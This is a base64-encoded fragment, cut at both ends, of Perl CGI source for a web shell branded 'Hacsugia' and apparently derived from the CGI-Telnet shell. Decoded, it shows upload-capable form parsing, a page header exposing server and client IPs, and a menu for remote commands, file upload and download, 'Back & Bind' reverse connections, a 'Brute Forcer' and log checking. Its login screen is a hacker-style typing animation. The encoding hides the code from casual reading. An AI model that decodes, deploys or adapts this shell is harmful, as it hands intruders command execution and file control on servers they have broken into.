XMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS